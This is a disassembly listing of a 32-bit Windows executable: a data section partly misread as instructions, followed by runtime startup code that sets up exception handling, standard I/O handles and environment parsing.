db 8Dh, 6Bh, 0A2h
db 6Bh ; k
db 59h, 6Ch, 4Bh
db 6Ch ; l
db 7Eh, 6Ch, 74h
db 6Ch ; l
db 6Eh, 6Ch, 0D4h
db 6Ch ; l
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
dw 0FF6Ch
db 6Ch ; l
db 0F5h, 6Ch, 9Ah
db 6Ch ; l
db 83h, 6Ch, 0B9h
db 6Ch ; l
db 0A2h, 6Ch, 72h
db 6Dh ; m
db 68h, 6Dh, 6Fh
db 6Dh ; m
db 33h, 6Dh, 28h
db 6Dh ; m
db 2Fh, 6Dh, 0E9h
db 6Dh ; m
db 96h, 6Dh, 8Ch
db 6Dh ; m
db 83h, 6Dh, 45h
db 6Eh ; n
db 7Ah, 6Eh, 63h
db 6Eh ; n
db 17h, 6Eh, 3Bh
db 6Eh ; n
db 30h, 6Eh, 23h
db 6Eh ; n
db 0D7h, 6Eh, 0BFh
db 6Eh ; n
db 0B5h, 6Eh, 0A1h
db 6Eh ; n
db 54h, 6Fh, 78h
db 6Fh ; o
db 7Dh, 6Fh, 60h
db 6Fh ; o
db 20h, 6Fh, 0DDh
db 6Fh ; o
db 0C9h, 6Fh, 96h
db 6Fh ; o
db 8Ch, 6Fh, 81h
db 6Fh ; o
db 58h, 60h, 4Eh
db 60h ; `
db 44h, 60h, 72h
db 60h ; `
db 6Dh, 60h, 1Bh
db 60h ; `
db 13h, 60h, 33h
db 60h ; `
db 2Ah, 60h, 0DFh
db 60h ; `
align 2
dw 0C160h
db 60h ; `
db 0C6h, 60h, 0FCh
db 60h ; `
db 0F5h, 60h, 0ECh
db 60h ; `
db 99h, 60h, 9Eh
db 60h ; `
db 93h, 60h, 83h
db 60h ; `
db 0B8h, 60h, 0A8h
db 60h ; `
db 0ADh, 60h, 5Dh
db 61h ; a
db 52h, 61h, 42h
db 61h ; a
db 47h, 61h, 77h
db 61h ; a
db 6Ch, 61h, 1Ch
db 61h ; a
db 11h, 61h, 1
db 61h ; a
db 6, 61h, 36h
db 61h ; a
db 2Bh, 61h, 0DBh
db 61h ; a
db 0D0h, 61h, 0C0h
db 61h ; a
db 0C5h, 61h, 0F5h
db 61h ; a
db 0EAh, 61h, 9Ah
db 61h ; a
db 9Fh, 61h, 8Fh
db 61h ; a
db 84h, 61h, 0B4h
db 61h ; a
db 0A9h, 61h, 5Ch
db 62h ; b
db 4Bh, 62h, 41h
db 62h ; b
db 0D7h, 62h, 0CEh
db 62h ; b
db 0ECh, 62h, 0E3h
db 62h ; b
db 8Fh, 62h, 0B6h
db 62h ; b
db 5Dh, 63h, 55h
db 63h ; c
db 4Fh, 63h, 6Bh
db 63h ; c
db 1Bh, 63h, 13h
db 63h ; c
db 3, 63h, 35h
db 63h ; c
db 0C9h, 63h, 0CFh
db 63h ; c
db 0C7h, 63h, 0ECh
db 63h ; c
db 9Dh, 63h, 92h
db 63h ; c
db 88h, 63h, 82h
db 63h ; c
db 0BBh, 63h, 0B5h
db 63h ; c
db 0AEh, 63h, 5Fh
db 64h ; d
db 55h, 64h, 45h
db 64h ; d
db 7Bh, 64h, 72h
db 64h ; d
db 6Ch, 64h, 66h
db 64h ; d
db 0Eh, 64h, 4
db 64h ; d
db 3Eh, 64h, 2Bh
db 64h ; d
db 21h, 64h, 0DBh
db 64h ; d
db 0C8h, 64h, 0F2h
db 64h ; d
db 0E8h, 64h, 0E5h
db 64h ; d
db 9Fh, 64h, 8Bh
db 64h ; d
db 81h, 64h, 0BBh
db 64h ; d
db 0B3h, 64h, 0AAh
db 64h ; d
db 0A6h, 64h, 5Fh
db 65h ; e
db 48h, 65h, 4Fh
db 65h ; e
db 7Ch, 65h, 72h
db 65h ; e
db 68h, 65h, 6Eh
db 65h ; e
db 18h, 65h, 12h
db 65h ; e
db 9, 65h, 38h
db 65h ; e
db 32h, 65h, 0DCh
db 65h ; e
db 0D2h, 65h, 0F8h
db 65h ; e
; ---------------------------------------------------------------------------
jmp dword ptr [ebp-68h]
; ---------------------------------------------------------------------------
db 65h ; e
db 9Fh, 65h, 0B8h
db 65h ; e
db 0BFh, 65h, 58h
db 66h ; f
db 5Eh, 66h, 45h
db 66h ; f
db 72h, 66h, 77h
db 66h ; f
db 6Eh, 66h, 64h
db 66h ; f
db 1Bh, 66h, 8
db 66h ; f
db 0Dh, 66h, 2
db 66h ; f
db 38h, 66h, 31h
db 66h ; f
db 2Ah, 66h, 24h
db 66h ; f
db 0DAh, 66h, 0DFh
db 66h ; f
db 0C4h, 66h, 0EBh
db 66h ; f
db 9Eh, 66h, 86h
db 66h ; f
db 0A9h, 66h, 51h
db 67h ; g
db 57h, 67h, 3Ch
db 67h ; g
db 0DDh, 67h, 0D3h
db 67h ; g
db 0F3h, 67h, 0BAh
db 67h ; g
db 58h, 88h, 58h
db 58h ; X
db 74h, 5Ah, 58h
db 58h ; X
db 59h, 68h, 53h
db 68h ; h
db 6Eh, 68h, 64h
db 68h ; h
db 17h, 68h, 0D3h
db 68h ; h
db 0CDh, 68h, 89h
db 68h ; h
db 0B2h, 68h, 0A9h
db 68h ; h
db 0A7h, 68h, 54h
db 69h ; i
db 49h, 69h, 4Eh
db 69h ; i
db 7Eh, 69h, 73h
db 69h ; i
db 68h, 69h, 61h
db 69h ; i
db 1Ch, 69h, 15h
db 69h ; i
db 39h, 69h, 30h
db 69h ; i
db 36h, 69h, 24h
db 69h ; i
db 0DFh, 69h, 0D7h
db 69h ; i
db 0CFh, 69h, 0FEh
db 69h ; i
db 0ECh, 69h, 0E5h
db 69h ; i
db 9Eh, 69h, 97h
db 69h ; i
db 8Eh, 69h, 0B8h
db 69h ; i
db 0B5h, 69h, 0ABh
db 69h ; i
db 0A5h, 69h, 5Bh
db 6Ah ; j
db 52h, 6Ah, 49h
db 6Ah ; j
db 41h, 6Ah, 7Bh
db 6Ah ; j
db 72h, 6Ah, 68h
db 6Ah ; j
db 6Fh, 6Ah, 19h
db 6Ah ; j
db 1Fh, 6Ah, 3Ch
db 6Ah ; j
db 33h, 6Ah, 2Eh
db 6Ah ; j
db 27h, 6Ah, 0DEh
db 6Ah ; j
db 0C0h, 6Ah, 0E2h
db 6Ah ; j
db 98h, 6Ah, 88h
db 6Ah ; j
db 81h, 6Ah, 0B5h
db 6Ah ; j
db 0A0h, 6Ah, 0A7h
db 6Ah ; j
db 5, 6Bh, 0C5h
db 6Bh ; k
db 92h, 6Bh, 0B5h
db 6Bh ; k
db 0A0h, 6Bh, 4Bh
db 6Ch ; l
db 19h, 6Ch, 0C0h
db 6Ch ; l
db 0FCh, 6Ch, 0F2h
db 6Ch ; l
db 0E1h, 6Ch, 0E7h
db 6Ch ; l
db 9Dh, 6Ch, 51h
db 6Dh ; m
db 48h, 6Dh, 60h
db 6Dh ; m
db 66h, 6Dh, 2
db 6Dh ; m
db 2Ah, 6Dh, 20h
db 6Dh ; m
db 0DEh, 6Dh, 0D5h
db 6Dh ; m
db 0CFh, 6Dh, 0C4h
db 6Dh ; m
db 0F9h, 6Dh, 0FEh
db 6Dh ; m
db 0F4h, 6Dh, 0EBh
db 6Dh ; m
db 0E1h, 6Dh, 90h
db 6Dh ; m
db 96h, 6Dh, 0BEh
db 6Dh ; m
db 0A1h, 6Dh, 0A7h
db 6Dh ; m
db 5Eh, 6Eh, 47h
db 6Eh ; n
db 73h, 6Eh, 6Dh
db 6Eh ; n
db 63h, 6Eh, 1Bh
db 6Eh ; n
db 10h, 6Eh, 16h
db 6Eh ; n
db 0Eh, 6Eh, 3
db 6Eh ; n
db 0DAh, 6Eh, 0D5h
db 6Eh ; n
db 0C6h, 6Eh, 0F6h
db 6Eh ; n
db 0E4h, 6Eh, 9Dh
db 6Eh ; n
db 8Ah, 6Eh, 82h
db 6Eh ; n
db 0B6h, 6Eh, 0A0h
db 6Eh ; n
db 53h, 6Fh, 46h
db 6Fh ; o
db 7Eh, 6Fh, 60h
db 6Fh ; o
db 66h, 6Fh, 11h
db 6Fh ; o
db 7, 6Fh, 32h
db 6Fh ; o
db 29h, 6Fh, 0CAh
db 6Fh ; o
db 0C6h, 6Fh, 0EEh
db 6Fh ; o
db 8Fh, 6Fh, 0B1h
db 6Fh ; o
db 0A0h, 6Fh, 0A7h
db 6Fh ; o
db 53h, 60h, 49h
db 60h ; `
db 4Fh, 60h, 78h
db 60h ; `
db 7Dh, 60h, 77h
db 60h ; `
db 14h, 60h, 0Dh
db 60h ; `
db 38h, 60h, 3Eh
db 60h ; `
db 28h, 60h, 2Dh
db 60h ; `
db 0DBh, 60h, 0D2h
db 60h ; `
db 0C9h, 60h, 0F1h
db 60h ; `
db 0F7h, 60h, 0E0h
aCNATakasaAfaA db '`–``±` `TaKasa`afa',0Ah
db 'a',0
dw 3C61h
db 61h ; a
db 29h, 61h, 20h
db 61h ; a
db 0D6h, 61h, 0C6h
db 61h ; a
db 0FDh, 61h, 0E5h
db 61h ; a
db 8Bh, 61h, 81h
db 61h ; a
db 87h, 61h, 0BEh
db 61h ; a
db 0A1h, 61h, 0A7h
db 61h ; a
align 2
dw 662h
db 62h ; b
db 2Ch, 62h, 22h
db 62h ; b
db 0C8h, 62h, 0EFh
db 62h ; b
db 98h, 62h, 9Fh
db 62h ; b
db 83h, 62h, 0B1h
db 62h ; b
db 0A8h, 62h, 59h
db 63h ; c
db 53h, 63h, 4Dh
db 63h ; c
db 43h, 63h, 77h
db 63h ; c
db 18h, 63h, 12h
db 63h ; c
db 0Eh, 63h, 32h
db 63h ; c
db 2Fh, 63h, 0D5h
db 63h ; c
align 2
dw 0FA63h
db 63h ; c
db 0F0h, 63h, 0E1h
db 63h ; c
db 0E7h, 63h, 90h
db 63h ; c
db 8Eh, 63h, 84h
db 63h ; c
db 53h, 64h, 6Eh
db 64h ; d
; ---------------------------------------------------------------------------
push ss
db 64h, 3Eh, 64h
xor al, 64h
jmp dword ptr [esp+esi*8+64h]
; ---------------------------------------------------------------------------
db 9Dh
db 64h ; d
db 93h, 64h, 5Bh
db 65h ; e
db 51h, 65h, 72h
db 65h ; e
db 4, 65h, 2Ah
db 65h ; e
db 0DAh, 65h, 0D0h
db 65h ; e
db 0C9h, 65h, 0C0h
db 65h ; e
db 0F0h, 65h, 0F6h
db 65h ; e
db 0EFh, 65h, 0E5h
db 65h ; e
db 93h, 65h, 0BAh
db 65h ; e
db 0ADh, 65h, 0A4h
db 65h ; e
db 5Fh, 66h, 4Ch
db 66h ; f
db 41h, 66h, 78h
db 66h ; f
db 71h, 66h, 68h
db 66h ; f
db 65h, 66h, 1Ah
db 66h ; f
db 1Fh, 66h, 0Bh
db 66h ; f
db 1, 66h, 6
db 66h ; f
db 3Bh, 66h, 37h
db 66h ; f
db 2Dh, 66h, 22h
db 66h ; f
db 27h, 66h, 0D3h
db 66h ; f
db 0C9h, 66h, 0CEh
db 66h ; f
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
jmp small word ptr [esi-0Bh]
; ---------------------------------------------------------------------------
dw 0EA66h
db 66h ; f
db 0EFh, 66h, 9Eh
db 66h ; f
db 94h, 66h, 89h
db 66h ; f
db 6Ah, 67h, 60h
db 67h ; g
db 1Ch, 67h, 12h
db 67h ; g
db 0Ch, 67h, 39h
db 67h ; g
db 35h, 67h, 2Eh
db 67h ; g
db 25h, 67h, 0D5h
db 67h ; g
db 0C5h, 67h, 0EFh
db 67h ; g
db 9Dh, 67h, 94h
db 67h ; g
db 80h, 67h, 87h
db 67h ; g
db 0B7h, 67h, 0A2h
db 67h ; g
db 58h, 0B8h, 58h
db 58h ; X
db 94h, 2 dup(58h)
db 58h ; X
db 59h, 68h, 44h
db 68h ; h
db 76h, 68h, 6Ch
db 68h ; h
db 63h, 68h, 10h
db 68h ; h
db 16h, 68h, 0Bh
db 68h ; h
db 5, 68h, 3Fh
db 68h ; h
db 36h, 68h, 2Eh
db 68h ; h
db 26h, 68h, 0D7h
db 68h ; h
db 0FAh, 68h, 0E8h
db 68h ; h
db 0EEh, 68h, 90h
db 68h ; h
db 8Dh, 68h, 83h
db 68h ; h
db 0BEh, 68h, 0AEh
db 68h ; h
db 0A3h, 68h, 53h
db 69h ; i
db 4Eh, 69h, 7Ah
db 69h ; i
db 70h, 69h, 6Ah
db 69h ; i
db 64h, 69h, 1Bh
db 69h ; i
db 17h, 69h, 0Dh
db 69h ; i
db 39h, 69h, 3Fh
db 69h ; i
db 29h, 69h, 0D1h
db 69h ; i
db 0D7h, 69h, 0C1h
db 69h ; i
db 0C6h, 69h, 9Eh
db 69h ; i
db 89h, 69h, 87h
db 69h ; i
db 0BDh, 69h, 0B3h
db 69h ; i
db 0ACh, 69h, 0A6h
db 69h ; i
db 5Bh, 6Ah, 75h
db 6Ah ; j
db 6Fh, 6Ah, 66h
db 6Ah ; j
db 1Dh, 6Ah, 8
db 6Ah ; j
db 6, 6Ah, 2Fh
db 6Ah ; j
db 25h, 6Ah, 0C7h
db 6Ah ; j
db 0F4h, 6Ah, 82h
db 6Ah ; j
db 0B9h, 6Ah, 0AFh
db 6Ah ; j
db 55h, 6Bh, 4Bh
db 6Bh ; k
db 71h, 6Bh, 68h
db 6Bh ; k
db 32h, 6Bh, 22h
db 6Bh ; k
; ---------------------------------------------------------------------------
shr dword ptr [ebx-3Bh], 1
imul esi, 6Bh
jmp short loc_42B6EC
; ---------------------------------------------------------------------------
db 0E1h, 6Bh, 9Ah
dd 8A6B916Bh, 0B46B8F6Bh, 5A6BAA6Bh, 7E6C4C6Ch, 0F26CF96Ch
dd 0E26CEB6Ch, 0A56CA06Ch, 5A6D5B6Ch, 426E566Eh, 6A6E7E6Eh
dd 126E666Eh, 3A6E0E6Eh, 226E366Eh, 49D8586Eh, 58581858h
dd 0F0685858h, 0E86AF46Ah, 0E06AEC6Ah, 986AE46Ah, 946A906Ah
dd 8C6A886Ah, 846A806Ah, 0BC6AB86Ah, 0A86AB46Ah, 0A06AAC6Ah
dd 586AA46Ah
; ---------------------------------------------------------------------------
loc_42B6EC: ; CODE XREF: .data:0042B67Fj
imul ebx, [ebx+ebp*2+50h], 6Bh
cmp [esp+edi+6Ch], ch
xor [esp+esi+6Ch], ch
pop eax
clc
dec ecx
pop eax
js short loc_42B757
pop eax
pop eax
int 3 ; Trap to Debugger
imul eax, 0F469C469h
imul ebp, eax, 0E069EC69h
imul esp, 9C699869h
imul edx, [eax+58585869h], 58585858h
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
loc_42B757: ; CODE XREF: .data:0042B6FDj
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
loc_42B7A3: ; CODE XREF: .data:0042B819j
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
mov ecx, 58581826h
pop eax
pop eax
jo short loc_42B7A3
dec ecx
pop eax
pop ecx
pop eax
pop eax
pop eax
pop ecx
pop eax
pop eax
pop eax
pop ecx
pop eax
pop eax
pop eax
insb
mov [ecx+58h], cl
pusha
mov [ecx+58h], cl
mov fs:[ecx+58h], cl
xor esi, [ebx]
sub [esi], ebp
and [edi], al
jbe short loc_42B879
xor al, 34h
pop eax
pop eax
xor eax, 1858581Fh
mov [ecx+58h], cl
pop eax
pop eax
pop eax
pop eax
pop es
adc al, 31h
cmp dl, ds:18363139h
push 58585858h
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
loc_42B879: ; CODE XREF: .data:0042B83Bj
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 7Ch dup(0)
dd 3900h dup(?)
_data ends
; ---------------------------------------------------------------------------
; Section 4. (virtual address 0003A000)
; Virtual size : 00116068 (1138792.)
; Section size in file : 0000D684 ( 54916.)
; Offset to raw data for section: 00015A00
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 43A000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_43A006: ; DATA XREF: sub_43A026+Ao
xor eax, eax
inc eax
mov ecx, [esp+4]
test dword ptr [ecx+4], 6
jz short locret_43A025
mov eax, [esp+8]
mov edx, [esp+10h]
mov [edx], eax
mov eax, 3
locret_43A025: ; CODE XREF: .text:0043A014j
retn
; =============== S U B R O U T I N E =======================================
sub_43A026 proc near ; CODE XREF: .text:0043A14Ep
; .text:0043A17Cp
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset loc_43A006
push large dword ptr fs:0
mov large fs:0, esp
loc_43A043: ; CODE XREF: sub_43A026+44j
; sub_43A026+4Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_43A072
cmp esi, [esp+1Ch+arg_4]
jz short loc_43A072
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov ecx, [esp+1Ch+var_14]
mov ecx, [eax+0Ch]
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_43A043
call dword ptr [ebx+esi*4+8]
jmp short loc_43A043
; ---------------------------------------------------------------------------
loc_43A072: ; CODE XREF: sub_43A026+2Aj
; sub_43A026+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_43A026 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A080 proc near ; CODE XREF: .text:0043A141p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_43A098
push [ebp+arg_0]
call sub_447618
loc_43A098: ; DATA XREF: sub_43A080+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_43A080 endp
; ---------------------------------------------------------------------------
cld
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
mov ebx, [ebp+0Ch]
mov eax, [ebp+8]
test dword ptr [eax+4], 6
jnz loc_43A175
mov [ebp-8], eax
mov eax, [ebp+10h]
mov [ebp-4], eax
lea eax, [ebp-8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_43A0D3: ; CODE XREF: .text:0043A16Cj
cmp esi, 0FFFFFFFFh
jz loc_43A184
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_43A163
push esi
push ebp
lea ebp, [ebx+10h]
mov eax, [ebp-14h]
mov eax, [eax]
mov eax, [eax]
mov dword_551034, eax
mov edx, [ebp-14h]
mov eax, [edx]
mov dword_551038, eax
mov eax, [edx+4]
mov dword_55103C, eax
push esi
push edi
push ecx
mov ecx, 14h
lea edi, dword_551040
mov esi, dword_551038
rep movsd
lea edi, dword_551040
mov dword_551038, edi
pop ecx
pop edi
pop esi
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+0Ch]
or eax, eax
jz short loc_43A163
js short loc_43A171
mov edi, [ebx+8]
push ebx
call sub_43A080
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_43A026
add esp, 8
lea ecx, [esi+esi*2]
mov eax, [edi+ecx*4]
mov eax, [ebx+0Ch]
call dword ptr [edi+ecx*4+8]
loc_43A163: ; CODE XREF: .text:0043A0E4j
; .text:0043A139j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp loc_43A0D3
; ---------------------------------------------------------------------------
loc_43A171: ; CODE XREF: .text:0043A13Bj
xor eax, eax
jmp short loc_43A18E
; ---------------------------------------------------------------------------
loc_43A175: ; CODE XREF: .text:0043A0B8j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_43A026
add esp, 0Ch
loc_43A184: ; CODE XREF: .text:0043A0D6j
push 0Bh
call sub_447660
add esp, 4
loc_43A18E: ; CODE XREF: .text:0043A173j
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
cmp dword ptr [ebp+0Ch], 1
jnz short loc_43A1A7
call sub_43A1C3
loc_43A1A7: ; CODE XREF: .text:0043A1A0j
call sub_4475A3
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
mov eax, off_551000
call eax ; sub_447578
pop edi
pop esi
pop ebx
leave
retn 0Ch
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A1C3 proc near ; CODE XREF: .text:0043A1A2p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
push 0
push 0FFFFFFF6h
call sub_447630
mov [ebp+var_8], eax
push 0
push 0FFFFFFF5h
call sub_447630
mov [ebp+var_4], eax
push 0
push 0FFFFFFF4h
call sub_447630
mov [ebp+var_C], eax
push (offset aWr+2)
push [ebp+var_8]
call sub_447624
mov dword_551008, eax
push offset aWr ; "wr"
push [ebp+var_4]
call sub_447624
mov dword_551004, eax
push offset aWr ; "wr"
push [ebp+var_C]
call sub_447624
add esp, 30h
mov dword_55100C, eax
mov edi, dword_551004
or edi, edi
jz short loc_43A23C
push 0
push edi
call sub_44766C
add esp, 8
loc_43A23C: ; CODE XREF: sub_43A1C3+6Cj
mov edi, dword_55100C
or edi, edi
jz short loc_43A256
push 0
push edi
call sub_44766C
add esp, 8
call sub_43A25C
loc_43A256: ; CODE XREF: sub_43A1C3+81j
pop edi
leave
retn
sub_43A1C3 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A25C proc near ; CODE XREF: sub_43A1C3+8Ep
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov [ebp+var_C], 0
call sub_44760C
mov ebx, eax
mov [ebp+var_10], ebx
jmp short loc_43A294
; ---------------------------------------------------------------------------
loc_43A278: ; CODE XREF: sub_43A25C+3Bj
cmp byte ptr [ebx], 3Dh
jz short loc_43A280
inc [ebp+var_C]
loc_43A280: ; CODE XREF: sub_43A25C+1Fj
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb
neg ecx
lea eax, [ecx-2]
mov edi, eax
inc edi
lea ebx, [ebx+edi]
loc_43A294: ; CODE XREF: sub_43A25C+1Aj
cmp byte ptr [ebx], 0
jnz short loc_43A278
mov edi, [ebp+var_C]
inc edi
lea edi, ds:0[edi*4]
mov [ebp+var_14], edi
push [ebp+var_14]
call sub_447654
pop ecx
mov [ebp+var_8], eax
mov dword_551010, eax
cmp [ebp+var_8], 0
jnz short loc_43A2C2
xor eax, eax
jmp short loc_43A31F
; ---------------------------------------------------------------------------
loc_43A2C2: ; CODE XREF: sub_43A25C+60j
mov ebx, [ebp+var_10]
jmp short loc_43A30C
; ---------------------------------------------------------------------------
loc_43A2C7: ; CODE XREF: sub_43A25C+B3j
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb
neg ecx
lea eax, [ecx-2]
mov edi, eax
inc edi
